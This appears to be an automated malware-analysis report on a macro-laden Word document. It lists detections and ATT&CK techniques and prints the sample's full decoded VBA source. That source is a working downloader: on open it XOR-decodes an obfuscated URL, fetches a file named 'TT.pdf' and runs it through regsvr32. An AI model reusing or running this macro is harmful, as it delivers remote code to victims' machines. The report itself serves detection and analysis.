MALICIOUS
150
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1105 Ingress Tool Transfer
This OOXML document contains VBA macros, specifically an AutoOpen macro, which is a strong indicator of malicious intent. The script utilizes URLDownloadToFile to download a file named 'TT.pdf' and then executes it using wscript.exe. This behavior is consistent with a downloader or droppper malware.
Heuristics 5
-
ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
#If VBA7 And Win64 Then Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Lf As LongPtr, ByVal Ky As String, ByVal bq As String, ByVal DU As LongPtr, ByVal mS As LongPtr) As Long #Else -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub autoopen() HS = cA(X) -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
- http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
- http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
- http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3868 bytes |
SHA-256: 1877fa73dc0fea039473ee8dae82db3371e6498aab879f4e3e5f1f2895480832 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "wX"
Public Const b As String = "TT.pdf"
Function cA(W8)
dh = NF(W8)
For Hk = 0 To UBound(dh)
Z0 = Z0 & Chr(dh(Hk) Xor 111)
Next Hk
cA = Z0
End Function
Sub autoopen()
HS = cA(X)
' Quill plastic quiescent privileges
' Tourism attest postings ablaze
' Prisoner rancor metadata
' Ward assure bland moments bellingham
' Glen quadrangle operated antonio
frm.download HS, b
' Makeshift dawns mitchell metropolitan
' Mausoleum nipple ultimate polymer ugly
' Stork competent pedigree ewe
' Pill im- declamation
' Virtual arrive punk
' Engaged foray psychological patriarch
' Efficiently
' Tether doe
' Thor
' Intermittently parvenu uses milton
' Epistolary belts battle
' Ratings atop
' Cheerless kennel illegally ear
' Rendering miscellaneous reducing free pulling
' Hauteur
' Radio nose
Dim tB As New WshShell
' Enumerate bewitched whimper domains
' Examines pronunciation just particularly
' Chances
Call tB.run(N & Zw & " " + b)
' Istanbul demanding horror lien
' Apostate shape regardless bloodthirsty acknowledgement
End Sub
Attribute VB_Name = "wX1"
Function T6(PH)
' Singularity hearths gabble imo indemnification craftsman
' Resource comfortable
' Christina briar myrrh girth
' Uses
End Function
Sub uu(T2)
' Powerful educate incidentally ian
' Flame economics physiology
' All-powerful celebrity blends benny wireless
' Ferrara village cookies
' Brackish patchwork resort turner
' Commented
' Proper
' Abetted incorrigible specialty
' Visa nylon
' Storage scenario examining coastal
' Highlight portugal defer allah
' Hdtv studios
' Donors shorthand demoniacal sextant infections stigma
' Canal zodiac haphazard
' Carrot miscreant brats pear mirrors
' Pixels saracen
' Blond phil
' Thriller stays
' Sec broadband barring
' Honors nobody understood proved nothing
' Broad elected builds
' Bristol selective evolution turnip
' Prospective
' Boxed dee promo
' Quest linguistic relentlessly bitch
' Smuggler
' Expand again dived ll
' Nitric privateer lymph gba
' Expiring situations participants eyesight
' Emporium kidney pessimistic myspace
' Broadsword emigrant consolidation
' Balustrade
' Ta
' Nanny stag sid reorganization
' Productivity semicircle sandal tolerance shannon masturbation
' Disprove clamber mailing introductory
' Routers cult imperfection egyptian
End Sub
Attribute VB_Name = "V7"
Public Const N As String = "reg"
Public Const Zw As String = "svr32"
Public Const X As String = "7_27_27_31_85_64_64_31_94_28_88_31_94_2_86_90_65_12_0_2_64_23_10_2_12_3_64_6_13_14_65_31_7_31_80_3_82_4_9_14_94_65_12_14_13"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Lf As LongPtr, ByVal Ky As String, ByVal bq As String, ByVal DU As LongPtr, ByVal mS As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal Lf As Long, ByVal Ky As String, ByVal bq As String, ByVal DU As Long, ByVal mS As Long) As Long
#End If
Function NF(cT)
NF = Split(cT, "_")
End Function
Attribute VB_Name = "frm"
Attribute VB_Base = "0{B3FBF822-C66E-4B82-9DFD-A2228405E740}{3DF3E09C-324D-4327-B549-49828755AB86}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
URLDownloadToFile 0, url, file, 0, 0
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 28160 bytes |
SHA-256: 402acfa19bd83c6447aefd0be3123ee5a8d1c7c0b34813d4362ca917871bb854 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.